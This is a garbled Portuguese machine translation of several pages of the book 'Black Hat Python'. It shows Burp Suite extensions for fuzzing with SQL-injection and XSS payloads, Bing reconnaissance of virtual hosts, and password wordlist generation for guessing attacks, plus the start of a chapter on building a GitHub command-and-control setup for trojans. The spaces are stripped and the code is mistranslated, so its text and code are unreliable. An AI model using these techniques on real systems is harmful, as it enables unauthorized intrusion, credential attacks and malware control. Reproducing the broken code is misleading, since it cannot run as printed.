OK!Porisso,precisamosdeimplementaraclassebaseeprecisaparaexportrsfunes.Oprimeiro
funo,hasMorePayloads,lsimplesmenteparadecidirsequercontinuarpedidosmutantesdevolta
arrotarIntruder.Vamosapenasusarumcontadorparalidarcomisso,eumavezqueocontadorestnomximoque
vamosdefinir,vamosretornarFalsedemodoquenohmaiscasosfuzzingsogerados.ogetNextPayload
funoreceberacargaoriginalapartirdasolicitaoHTTPquevocpreso.Ou,sevoctem
selecionadovriasreasdecargatilnopedidoHTTP,vocsvaireceberosbytesquevoc
pediuparaserfuzzed(maissobreissodepois).Estafunopermitenosfuzzocasodetesteoriginale
emseguida,devolvloparaqueBurpenviaonovovalorfuzzed.Altimafuno,redefinir,existeparaquese
geramosumconjuntoconhecidodepedidosfuzzeddigamoscincodelesemseguida,paracadaposiodecargaque
designaramnaguiaIntruder,vamospercorreroscincovaloresfuzzed.
Nossafuzzernotoexigente,esemprevaiapenasmanteraleatoriamentefuzzingcadasolicitaoHTTP.Agoravamos
vercomoissoparecequandoimplementloemPython.Adicioneoseguintecdigoparaaparteinferior
bhp_fuzzer.py:
classeBHPFuzzer(IIntruderPayloadGenerator):
def__init__(self,extensor,ataque):
self._extender=extender
self._helpers=extender._helpers
self._attack=ataque
self.max_payloads=10
self.num_iterations=0

Retorna

hasMorePayloadsdef(self):
seself.num_iterations==self.max_payloads:
retornarFalse
outro:
retornarTrue

defgetNextPayload(self,current_payload):

#Converteemumastring
carga="".join(CHR(x)paraxemcurrent_payload)
#ChamaronossomutantesimplesdefuzzoPOST
carga=self.mutate_payload(carga)

#Aumentaronmerodetentativasdefuzzing
self.num_iterations+1=

payloadderetorno
redefiniodef(self):
self.num_iterations=0
Retorna

ComeamospordefinironossoBHPFuzzerclassequeestendeaclasseIIntruderPayloadGenerator.
Nsdefinimosasvariveis
declassenecessrios,bemcomoadicionarmax_payloadsenum_iterations

variveis
paraquepossamosmanterocontroledequandodeixarBurpsabemqueestamosfuzzingacabado.Vocpoderia

Clarodeixeaextensocorrerparasempre,sequiser,masparatestesvamosdeixarissonolugar.Emseguidans
implementarohasMorePayloadsfunoquesimplesmenteverificaseatingimoso
nmeromximodeiteraesfuzzing.Vocpodemodificaristoparaexecutarcontinuamenteaextensopor
sempreretornandoverdadeiro.OgetNextPayloadfunoaquelequerecebeoHTTPoriginais
payloadeaquiqueseremosfuzzing.Ocurrent_payloadvarivelchegacomoumbyte
array,portanto,converterissoemumacordae,emseguida,passloparaanossafunofuzzingmutate_payload.
Emseguida,incrementarosnum_iterationsvarivelevoltaracargamutado.Nossaltimafuno
aredefiniodefunoqueretornasemfazernada.
Agoravamoscairemfunodefuzzingmaissimplesdomundoquevocpodemodificarocontedodoseucorao.
Porqueestafunoestcientedacargaatual,sevoctemumprotocolocomplicadoqueprecisa
algoespecial,comoumasomadecontroloCRC,noinciodacargaouumcampodecomprimento,podefazer
essesclculosdentroestafunoantesderetornar,oqueotornaextremamenteflexvel.Adicioneo
seguintecdigoparabhp_fuzzer.py,certificandosedequeomutate_payloadfunotabuladoemnossa
BHPFuzzerclasse:
mutate_payloaddef(self,original_payload):
#Escolherummodificadorsimplesouatmesmochamarumscriptexterno
picker=random.randint(1,3)
#Selecionarumdeslocamentonacargatilaleatriodemutao
offset=random.randint(0,len(original_payload)1)
payload=original_payload[:offset]
#DeslocamentoaleatrioinserirumatentativadeinjeodeSQL
Se==selecionadorde1:
carga+="'"
#JamumatentativaXSSno
Se==picker2:

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

51/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
payload+="<script>alert('BHP!')</script>"

#Repetirumapartedacargaoriginalumnmeroaleatrio
Se==selecionador3:

chunk_length=random.randint(len(payload[offset:]),len(payload)1)
repetidor
=Random.randint(1,10)
foriinrange(repetidor):
payload+=original_payload[offset:offset+chunk_length]
#Adicionarosrestantesbitsdecargatil
payload+=original_payload[offset:]
payloadderetorno

Estefuzzersimplesbastanteautoexplicativo.Nsvamosescolheraleatoriamenteapartirdetrsmutators:aSQLsimples
testedeinjeocomumaaspasimples,umatentativaXSS,emseguida,ummodificadorqueselecionaumapartealeatriana
acargaoriginalerepeteumnmeroaleatriodevezes.TemosagoraumaextensoBurpIntruder
quepodemosusar.Vamosdarumaolhadaemcomopodemosobtlocarregado.

Chutarospneus
Primeirotemosdecomearanossaextensocarregadoecertificarsedequenohajaerros.CliquenoExtenderguia
emarrotoe,emseguida,cliquenoAddboto.ApareceumatelaquelhepermitirapontarBurpno
fuzzer.CertifiquesededefinirasmesmasopescomomostradonaFigura63.

Figura63.DefinirBurpparacarregaranossaextenso

CliqueemAvanareBurpircomearacarregaranossaextenso.Setudocorrerbem,arrotodeveindicarqueo
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

52/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

extensofoicarregadocomxito.Sehouvererros,cliquenoErrosguia,depurarerrosdedigitao,eemseguida
cliquenoFecharboto.SuatelaExtenderagoradevesersemelhanteaFigura64.

Figura64.ArrotoExtendermostrandoqueanossaextensoestacarregada

VocpodeverqueanossaextensocarregadoequeBurpidentificouqueumacargatilIntruder
geradorestregistrado.Agoraestamosprontosparaalavancarnossaextensoemumataquereal.Verifiqueseoseu
navegadorestconfiguradoparausarBurpProxycomoproxylocalhostnaporta8080,evamosatacaromesmo
AplicaowebAcunetixdoCaptulo5.Bastanavegarpara:
http://testphp.vulnweb.com

Comoumexemplo,euuseiapequenabarradepesquisaemseusiteparaenviarumapesquisaparaacadeia"teste".
Figura65mostracomoeupodeverestepedidoemoHTTPhistriaguiadeoProxyguia,eeutenhodireita
clicadoasolicitaoparaenviloparaIntruder.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

53/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Figura65.AseleodeumasolicitaoHTTPparaenviarparaointruso

AgoramudeparaoIntruderguiaecliquenoPosiesguia.Apareceumatelaquemostracadaconsulta
parmetrodestaque.EsteBurpidentificarospontosondedeveramosestarfuzzing.Podestentar
movendoosdelimitadoresdecargatilemtornoouselecionandotodaacargatilparafuzzsevocescolher,masemnossa
casovamosdeixarBurpdecidirondevamosfuzz.Paramaiorclareza,vejaFigura66,quemostra
comocargatildestacandoobras.
AgoracliquenoPayloadsguia.Nestatela,cliquenoPayloadtipodropdowneselecioneextenso
gerado.EmoPayloadOpesseo,cliquenoSelectgerador...botoeescolherBHP
PayloadGeneratorapartirdodropdown.SuacargatildeteladeveagoraolharcomoFigura67.

Figura66.ArrotoIntruderdestacandoparmetrosdecargatil

Figura67.Usandoanossaextensofuzzingcomoumgeradordecargatil

Agoraestamosprontosparaenviarnossospedidos.Notopodabarrademenuarroto,cliqueIntrudereselecione
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

54/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Comeceataque.Estacomeaaenviarfuzzedpedidos,evocvaisercapazderapidamenteiratravsdo
resultados.Quandoeucorriafuzzer,recebisadacomomostradonaFigura68.

Figura68.NossafuzzercorrendoemumataqueIntruder

Comovocpodeveroavisonalinha61daresposta,nopedido5,descobrimosque
pareceserumavulnerabilidadedeinjeoSQL.
Agora,claro,onossodifusorapenasparafinsdedemonstrao,masvocficarsurpresoquoeficaz
podeserparaobterumaplicativodaWebparaerrosdesada,revelamcaminhosdeaplicao,ousecomportardemaneiras
queoslotesdeoutrosscannerspodeperder.Oimportanteentendercomoconseguimosobteronosso
extensopersonalizadaemlinhacomataquesdeintruso.Agoravamoscriarumaextensoquevainosajudara
realizandoalgumreconhecimentoestendidacontraumservidorweb.

BingparaBurp
Quandovocestatacandoumservidorweb,noincomumparaessanicamquinaparaservirvriosweb
aplicaes,algumasdasquaisvocpodenoestarciente.Claro,vocquerdescobrirestes
nomesdemquinasexpostasnomesmoservidorweb,porqueelespodemdarlheumamaneiramaisfcilparaobterumashell.
Noraroencontrarumaaplicaowebinsegurosouatmesmorecursosdedesenvolvimentolocalizadonamesma
mquinacomoseualvo.motordebuscadaMicrosoftBingtemrecursosdepesquisaquepermitemconsultar
BingparatodosossitesqueencontraremumnicoendereoIP(usandoomodificadordepesquisa"IP").Bingtambmvai
dizerlhetodosossubdomniosdeumdeterminadodomnio(usandoomodificador"domnio").
Agoranspodemos,claro,useumraspadordeapresentaressasconsultasparaBinge,emseguida,rasparoHTMLem
osresultados,masissoseriafaltadeeducao(etambmviolamtermosamaioriadosmotoresdebusca"deuso).Dentro
Paraficarforadeproblemas,podemosusaraAPIdoBing[13]aapresentaressasconsultasprogramaticamentee
emseguida,analisarosresultadosnsmesmos.NovamosimplementarquaisqueracrscimosBurpGUIfantasia(excetoa
menudecontexto)comestaextensonssimplesmentesadaosresultadosemBurpcadavezqueexecutarumaconsulta,
equaisquerURLsdetectadosnoescopodedestinodoBurpseroadicionadosautomaticamente.Porqueeujandei
loatravsdecomoleradocumentaoBurpAPIetraduziloemPython,vamoscomear
direitodeocdigo.
Crackabrirbhp_bing.pyeforjaroseguintecdigo:
dearrotoIBurpExtenderimportao
dearrotoIContextMenuFactoryimportao
dejavax.swingJMenuItemimportao
dalistadeimportaojava.util,ArrayList
dejava.netURLdeimportao
tomadadeimportao
urllibimportao
jsonimportao
importaore
base64importao
bing_api_key="YOURKEY"
classeBurpExtender(IBurpExtender,IContextMenuFactory):
registerExtenderCallbacksdef(self,chamadasderetorno):
self._callbacks=callbacks
self._helpers
=()callbacks.getHelpers
self.context
=None

#Montamosnossaextenso
callbacks.setExtensionName("BHPBing")
callbacks.registerContextMenuFactory(self)

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

55/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
Retorna

defcreateMenuItems(self,context_menu):
self.context=context_menu
menu_list=ArrayList()
menu_list.add(JMenuItem("EnviarparaoBing",actionPerformed=self.bing_
cardpio))
voltarmenu_list

EsteoprimeiropoucodenossaextensoBing.CertifiquesedeteroseuBingchavedeAPIcoladonolugar
vocestautorizadoalgocomo2.500buscaslivresporms.Comeamospordefinironosso
BurpExtenderclassequeimplementaopadroIBurpExtenderdeinterfaceeo
IContextMenuFactory,quepermitenosparafornecerumcontextodemenuquandoumusurioclicacomobotodireitoum
solicitar,porarroto.Nsregistramosnossomanipuladordemenuparaquepossamosdeterminarqualsiteousurio
clicado,oque,emseguida,permitenosconstruirnossasconsultasBing.Oltimopassoconfiguraronosso
createMenuItemfuno,queirreceberumIContextMenuInvocationobjetoquensirusar
paradeterminarqualopedidodeHTTPfoiseleccionado.Oltimopassotornaronossoitemdemenuetera
bing_menufunodelidarcomocliqueevento.AgoravamosadicionarafuncionalidadeparaexecutaroBing
consulta,asadadosresultados,eadicionarqualquerhostsvirtuaisdescobertosatescopoalvodearroto.
bing_menudef(self,evento):
#Pegarosdetalhesdoqueousurioclicou
http_trafficself.context.getSelectedMessages=()

print"%dpedidosdedestaque"%len(http_traffic)
paraotrfegoemhttp_traffic:
http_servicetraffic.getHttpService=()
anfitrio
=Http_service.getHost()
print"Usuriohostselecionado:%s"%deacolhimento
self.bing_search(host)
Retorna

bing_searchdef(self,host):
#VerificarsetemosumIPouhostname
is_ip=re.match("[09]+(?:.\[09]+){3}",host)

seis_ip:
ip_address=host
domnio
=False
outro:
ip_address=socket.gethostbyname(host)
domnio
=True

bing_query_string=""ip:%s'"%ip_address
self.bing_query(bing_query_string)

seodomnio:
bing_query_string=""domnio:%s'"host%
self.bing_query(bing_query_string)

Nossabing_menufunoaccionadaquandoousurioclicanoitemdemenudecontextoquensdefinimos.Ns
recuperartodosospedidosdeHTTPqueforamdestacadase,emseguida,recuperarapartedohostdo
pedirparacadaumdeleseenviloparaonossobing_searchfunoparaprocessamentoposterior.o
bing_searchfunodeprimeirodeterminasequeforampassados
deumIPaddressouumhostname.Ns,emseguida,

consultarBingparatodososhostsvirtuaisquetmomesmoendereoIPcomooanfitriocontidodentrodo
solicitaoHTTPqueestavacertoclicado.Seumdomniofoipassadoparaanossaextenso,entonstambmfazeruma
pesquisasecundriaparatodosossubdomniosqueBingpodeterindexados.Agoravamosinstalaroencanamento
usarAPIHTTPdoBurpparaenviaropedidoparaoBingeanalisarosresultados.Adicioneoseguintecdigo,
garantirquevocestcomguiascorretamenteemnossaBurpExtenderclasse,ouvocvaicorreremerros.
bing_querydef(self,bing_query_string):
imprimir"ExecutandoBingpesquisa:%s"%bing_query_string
#Codificarnossaconsulta
quoted_query=urllib.quote(bing_query_string)
http_request="GEThttps://api.datamarket.azure.com/Bing/Search/Web?$.
format=json&$top=20&query=%sHTTP/1.1\r\n"%quoted_query
http_request+="Anfitrio:api.datamarket.azure.com\r\n"

http_request+="Connection:close\r\n"
http_request+="Autorizao:Bsico%s\r\n"":%s"%%base64.b64encode(.
bing_api_key)
http_request+="UserAgent:BlackhatPython\r\n\r\n"
json_body=self._callbacks.makeHttpRequest("api.datamarket.azure.com",.
443,True,http_request).ToString()
json_body=json_body.split("\r\n\r\n",1)[1]
experimentar:
r=json.loads(json_body)

iflen(R["d"]["resultados"]):
parasitenar["d"]["resultados"]:

imprimir"*"*100
impressolocal['Ttulo']
localdeimpresso['url']
localdeimpresso['description']
imprimir"*"*100
j_url=URL(stio['url'])

Senoself._callbacks.isInScope(j_url):
imprimir"Adicionandoparaarrotarescopo"
self._callbacks.includeInScope(j_url)
exceto:
imprimir"NenhumresultadodeBing"
passar

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

56/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
Retorna

OK!APIHTTPdoarrotoexigequeconstruirtodaasolicitaoHTTPcomoumastringantesdeenviar
lo,e,emparticular,vocpodeverquetemosdebase64codificarnossachaveBingAPIeuso
HTTPautenticaobsicaparafazerachamadaAPI.Emseguida,enviaronossopedidoHTTPMicrosoft
servidores.Quandoosretornosderesposta,teremosarespostainteira,incluindooscabealhos,porisso,dividir
oscabealhosforae,emseguida,passloparaonossoanalisadorJSON.Paracadaconjuntoderesultados,algumasada
informaessobreositequedescobrimoseseositedescobriunoestnametadoBurp
mbito,nsadicionloautomaticamente.EstaumagrandemisturadeutilizaraAPIJythonepuroPythonemum
Arrotarextensoparafazerotrabalhodereconhecimentoadicionalaoatacarumalvoemparticular.Vamoslevlaparaumarodada.

Chutarospneus
UseomesmoprocedimentoqueusamosparanossaextensofuzzingparaobteroBingextensodebuscadetrabalho.
Quandoelecarregado,navegueathttp://testphp.vulnweb.com/,emseguida,cliquecomobotodireitodomousenopedidoGETvoc
apenasemitido.Seaextensocarregadacorretamente,vocdeveveraopodemenuEnviarparaBing
exibida,comomostradonaFigura69.

Figura69.opodemenuNewmostrandonossaextenso

Aoclicarnestaopodomenu,dependendodasadaquevocescolheuquandovoccarregouaextenso,
vocdevecomearaverosresultadosdoBingcomomostradonaFigura610.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

57/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Figura610.NossaextensodefornecimentodesadaapartirdabuscaAPIBing

EsevocclicarnoAlvoguianoarrotoeselecioneScope,vocvernovositensautomaticamente
adicionadoaonossoalcancealvo,comomostradonaFigura611.Oescopodedestinolimitaatividadescomoataques,
spidering,everificasomenteaosanfitriesdefinidos.

Figura611.MostrandocomodescobriuanfitriessoadicionadosautomaticamenteaoalcancealvodoBurp

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

58/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

VirandoocontedodositeemOurosenha
Muitasvezes,aseguranaseresumeaumacoisa:assenhasdousurio.tristemasverdade.Fazendocoisas
pior,quandosetratadeaplicaesweb,especialmenteaquelesfeitossobencomenda,muitocomumaodescobrirque
bloqueiosdecontanosoimplementadas.Emoutroscasos,senhasfortesnosoaplicadas.Nesses
casos,umasenhaonlineadivinhandosessocomooquenoltimocaptulopodeserapenasobilhetepara
teracessoaolocal.
Otruqueparasenhaonlineadivinhaoestrecebendoalistadepalavrasdireito.Vocnopodetestar10milhes
senhassevocestivercompressa,entovocprecisasercapazdecriarumalistadepalavrasalvoparaositeem
questo.Claro,existemscriptsnadistribuioKaliLinuxquerastejamumsiteegerar
umalistadepalavrascombasenocontedodosite.EmborasevocjtiverusadoBurparanhapararastrearosite,por
enviarmaistrfegoapenasparagerarumalistadepalavras?Almdisso,osscriptstmgeralmenteumatoneladadelinhadecomando
argumentosparaselembrar.Sevocforcomoeu,vocjmemorizouosuficientedelinhadecomando
argumentosparaimpressionarseusamigos,entovamosfazerBurpfazerotrabalhopesado.
Abrirbhp_wordlist.pyebaterparaforaestecdigo.
dearrotoIBurpExtenderimportao
dearrotoIContextMenuFactoryimportao
dejavax.swingJMenuItemimportao
dalistadeimportaojava.util,ArrayList
dejava.netURLdeimportao
importaore
apartirdedataehoradedataehoradeimportao
deHTMLParserHTMLParserimportao

classeTagStripper(HTMLParser):
def__init__(self):
HTMLParser.__oinit__(self)
self.page_text=[]
handle_datadef(self,dedados):
self.page_text.append(dados)

handle_commentdef(self,dedados):
self.handle_data(dados)
tiradef(self,html):
self.feed(html)
retornar"".join(self.page_text)

classeBurpExtender(IBurpExtender,IContextMenuFactory):
registerExtenderCallbacksdef(self,chamadasderetorno):
self._callbacks=callbacks
self._helpers
=()callbacks.getHelpers
self.context
=None
self.hosts
=Set()

#Comececomalgoquesabemossercomum
self.wordlist=set(["password"])
#Montamosnossaextenso
callbacks.setExtensionName("BHPWordlist")
callbacks.registerContextMenuFactory(self)
Retorna

defcreateMenuItems(self,context_menu):
self.context=context_menu
menu_list=ArrayList()
menu_list.add(JMenuItem("CriarWordlist",
actionPerformed=self.wordlist_menu))
voltarmenu_list

Ocdigonestalistadevesermuitofamiliaragora.Comeamosimportandoosmdulosnecessrios.
UmauxiliarTagStripperclassenospermitirretirarastagsHTMLforadasrespostasHTTPque
processomaistarde.Suahandle_datafunoarmazenaotextodapginaemumavariveldemembro.Nstambm
definirhandle_commentporquequeremosqueaspalavrasarmazenadasnoscomentriosdedesenvolvedoresaseremadicionados
nossalistadesenhastambm.Debaixodascobertas,handle_commentapenaschamahandle_data(nocaso
queremosmudaraformacomoprocessamospginadetextoabaixodaestrada).
AtirafunoalimentaocdigoHTMLparaaclassebase,HTMLParser,eretornaapginaresultante
texto,oqueviracalharmaistarde.Orestoquaseexactamenteomesmoqueodoincio
bhp_bing.pyroteiroqueapenasterminou.Umavezqueoutravez,oobjetivoacriaodeumcontextomenudeprodutoemaBurp
UI.Anicacoisanovaaquiquensarmazenamosnossalistadepalavrasemumset,oquegarantequenofazer
introduzirpalavrasduplicadascomovamos.Nsinicializaroconjuntocomasenhafavoritodetodos,
"Password",sparatercertezadequeeleacabananossalistafinal.
AgoravamosadicionaralgicaparatomarotrfegoHTTPseleccionadosapartirdearrotoetransformloemumalistadepalavrasbase.
wordlist_menudef(self,evento):
#Pegarosdetalhesdoqueousurioclicou
http_trafficself.context.getSelectedMessages=()
paraotrfegoemhttp_traffic:
http_servicetraffic.getHttpService=()
anfitrio
=Http_service.getHost()

self.hosts.add(host)
http_responsetraffic.getResponse=()

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

59/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

sehttp_response:
self.get_words(http_response)
self.display_wordlist()
Retorna

get_wordsdef(self,http_response):
cabealhos,corpo=http_response.tostring().split('\r\n\r\n',1)

#Pularrespostasnotexto
.Seheaders.lower()encontrar("ContentType:text")==1:
Retorna

tag_stripperTagStripper=()
page_text=tag_stripper.strip(corpo)

palavras=re.findall("[azAZ]\w{2}",page_text)
porpalavraempalavras:
#Filtrarcadeiaslongas
iflen(palavra)<=12:
self.wordlist.add(word.lower())
Retorna

Nossaprimeiraordemdenegciodefinirowordlist_menufuno,queonossomanipuladordemenudeclique.
Elesalvaonomedohostquerespondeparamaistarde,eemseguida,recuperaarespostaHTTPealimentaes
loaosnossosget_wordsfuncionar.Apartirda,get_wordsdivideocabealhodocorpodamensagem,
verificaoparacertificarsedequeestamosapenastentandoprocessarrespostasbaseadasemtexto.NossaTagStripperclasse
retiraoHTMLcdigoapartirdorestodeapginadetexto.Nsusarumregulardeexpressoparaencontrartodasaspalavras
comeandocomumcaracterealfabticoseguidopordoisoumaiscaracteres"palavra".depoisdefazer
ocortefinal,aspalavrasdesucessososalvosemminsculaslistadepalavras .
Agoravamoscompletaroroteiro,dandolheacapacidadedemangleeexibiralistadepalavrascapturado.
defmangle(self,palavra):
ano
=Datetime.now().Ano
sufixos=["","1","!",ano]

=Mutilados[]

porsenhano(word,word.capitalize()):
parasufixonasufixos:
mangled.append("%s%s"%(password,sufixo))
voltarmutilado

display_wordlistdef(self):

print"#comentar:BHPWordlistparaosite(s)%s"%",".join(self.hosts)
porpalavranaordenada(self.wordlist):
porsenhanoself.mangle(palavra):
passworddeimpresso
Retorna

Muitoagradvel!Amanglefunotomaumapalavrabaseetransformaloemumasriedesuposiesdesenha
combaseemalgumacriaocomumsenha"estratgias".Nesseexemplosimples,criamosumalistade
sufixosparaalinhavarsobreofimdapalavrabase,incluindooanoemcurso.Emseguidanspercorrercada
sufixoeadicionlopalavradebaseparacriarumatentativadesenhanica.Fazemosumoutrolaocomum
capitalizadosversodapalavrabaseparaumaboamedida.Nodisplay_wordlistfuno,nsimprimimos
um"JohntheRipper"comentriodeestiloparanoslembrarquaissitesforamusados
paragerarestalistadepalavras.

Entonsmanglecadapalavrabaseeimprimirosresultados.Horadetomarestebebparaumarodada.

Chutarospneus
CliquenoExtenderguianoarroto,cliquenoAddbotoeuseomesmoprocedimentoqueusamosparaonosso
extensesanterioresparaobterotrabalhodeextensoWordlist.Quandovoctlocarregado,navegueat
http://testphp.vulnweb.com/.
BotodireitodomouseositenopainelMapadoSiteeselecioneAranhaesseacolhimento,comomostradonaFigura612.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

60/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Figura612.SpideringumhostcomBurp

ApsBurpvisitoutodososlinksnositededestino,selecionetodasassolicitaesnopainelsuperiordireito,direita
cliquenelesparaabriromenudecontextoeselecioneCriarWordlist,comomostradonaFigura613.

Figura613.EnviandoassolicitaesparaaextensoBHPWordlist

Agoraverifiqueaguiadaextensodesada.Naprtica,nssalvarasuasadaparaumarquivo,maspara
finsdedemonstraoqueexibealistadepalavrasemarroto,comomostradonaFigura614.
AgoravocpodealimentarestalistadevoltaparaBurpIntruderpararealizaroataquerealdeadivinhaodesenha.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

61/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Figura614.Alistadesenhascombasenocontedodositededestino

TemosagorademonstradoumpequenosubconjuntodaAPIarroto,inclusivesendocapazdegerarnossaprpria
cargasdeataque,bemcomoampliaodeedifciosqueinteragemcomainterfacedousurioarroto.Duranteumtestedepenetrao
muitasvezesvocvaisedeparadocomproblemasespecficosounecessidadesdeautomao,eaAPIBurpExtender
forneceumaexcelenteinterfaceparacodificarocaminhoparasairdeumcanto,oupelomenossalvlodeterque
continuamentecopiarecolardadoscapturadosapartirBurpparaoutraferramenta.
Nestecaptulo,nsmostramoslhecomoconstruirumaexcelenteferramentadereconhecimentoparaadicionarsuaferramentaBurp
cinto.Comoqueestaextensosrecuperaos20melhoresresultadosdeBing,assimcomoliodecasavocpodetrabalhar
emfazerpedidosadicionaisparagarantirquevocrecuperartodososresultados.Issoexigirfazendoum
poucodeleiturasobreaAPIdoBingeescreveralgumcdigoparalidarcomomaiorconjuntoderesultados.vocde
cursopoderiaentodizeraaranhaBurppararastrearcadaumdosnovossitesquevocdescobreeautomaticamente
caaparavulnerabilidades!
[13] Visitehttp://www.bing.com/dev/enus/devcenter/paraconseguirestabelecercomoseuprpriolivrechavedeAPIBing.

Captulo7.GithubComandoeControle
Umdosaspectosmaisdesafiadoresdacriaodeumquadrotrojanslidadeformaassncrona
controlar,atualizarereceberdadosapartirdeseusimplantesimplantados.crucialterumarelativamente
maneirauniversalparaempurrarcdigossuastrojansremotos.Estaflexibilidadenonecessriaapenasparacontrolaroseu
cavalosdeTria,paraexecutardiferentestarefas,mastambmporquevocpodetercdigoadicionalque
especficosdosistemaoperativodedestino.
Assim,enquantooshackerstiverammuitodemeioscriativosdecomandoecontroleaolongodosanos,como
IRCouatmesmoTwitter,vamostentarumserviorealmenteconcebidoparaocdigo.UsaremosGitHubcomoumaformade
armazenarainformaodeconfiguraodoimplanteeexfiltrateddedados,bemcomoquaisquermdulosqueoimplante
precisa,afimdeexecutartarefas.TambmvamosexplorarcomocortarimportaobibliotecanativadoPython
mecanismoparaque,comocriarnovosmdulosdetria,osimplantespodemtentarautomaticamentepara
recuperlosequaisquerbibliotecasdependentesdiretamentedoseurepo,tambm.Tenhaemmentequeoseutrfego
paraGitHubserocriptografadasemSSL,ehmuitopoucasempresasqueeuviqueactivamente
prprioblocoGitHub.
Umacoisaanotarquensvamosusarumrepositriopblicopararealizarestetestesevocgostariadepassaro
dinheiro,vocpodeobterumrepoprivadoparaqueerguerosolhosnopodemveroquevocestfazendo.Almdisso,todos
seusmdulos,aconfiguraoeosdadospodemsercriptografadosusandoparesdechavespblicas/privadas,queeu
demonstraremCaptulo9.Vamoscomear!

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

62/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

CriaodeumacontaGitHub
SevocnotiverumacontaGitHub,entocabeaparaGitHub.com,inscreverseecriarumanova
repositriochamadochapter7.Emseguida,vocvaiquererinstalaroPythonbibliotecaAPIGitHub[14]demodoquevoc
podeautomatizarasuainteracocomoseurepo.Vocpodefazerissoapartirdalinhadecomando,fazendoo
Segue:
pipinstalargithub3.py

Sevocnotiverfeitoisso,instaleoclientegit.EufaoomeudesenvolvimentodeumamquinaLinux,mas
funcionaemqualquerplataforma.Agoravamoscriarumaestruturabsicaparaonossorepo.Faaoseguintena
linhadecomando,adaptando,senecessrio,sevocestivernoWindows:
$Mkdirtrojan
$Cdtrojan
$Gitoinit
$Mkdirmdulos
$Mkdirconfigurao
$Mkdirdados
$Toquemdulos/.gitignore
$Toqueconfig/.gitignore
$Tocardados/.gitignore
$Gitadd.
$Gitcommitm"AdicionandorepoestruturadeTria".
$Gitremotoadicionarorigemhttps://github.com/<yourusername>/chapter7.git
$Gitempurrarorigemmestre

Aqui,nscriamosaestruturainicialparaonossorepo.Aconfiguraododiretriomantmarquivosdeconfigurao
queirseridentificadaexclusivamenteparacadatrojan.Comovocimplantartrojans,vocquercadaumparaexecutar
diferentestarefasecadaumtrojanirverificarseuarquivodeconfiguraonica.Amdulosdediretrio
contmqualquercdigomodularquedesejaqueotrojanparapegare,emseguida,executar.Vamosimplementaruma
corteespecialdeimportaoparapermitirqueonossotrojanparaimportarbibliotecasdiretamentedonossorepoGitHub.este
capacidadedecargaremototambmirpermitirquevocparaguardarbibliotecasdeterceirosnoGitHubparaquevocnotem
recompilarcontinuamenteoseutrojancadavezquevocdesejaadicionarnovasfuncionalidadesoudependncias.
Odadosdediretrioondeotrojanvaiverificaremqualquerrecolhidosdados,teclasdigitadas,screenshots,e
assimpordiante.Agoravamoscriaralgunsmdulossimpleseumexemplodearquivodeconfigurao.

criandoMdulos
Nosprximoscaptulos,vocvaifazernegciodesagradvelcomseustrojans,comoregistarasteclaspressionadasetendo
screenshots.Mas,paracomear,vamoscriaralgunsmdulossimplesquepodemosfacilmentetestareimplantar.Abraum
novoarquivonodiretriodemdulos,onomedeledirlister.py,einsiraoseguintecdigo:
importos

defexecute(**args):
print"[*]Nomdulodirlister."
arquivosos.listdir=(".")
retornostr(arquivos)

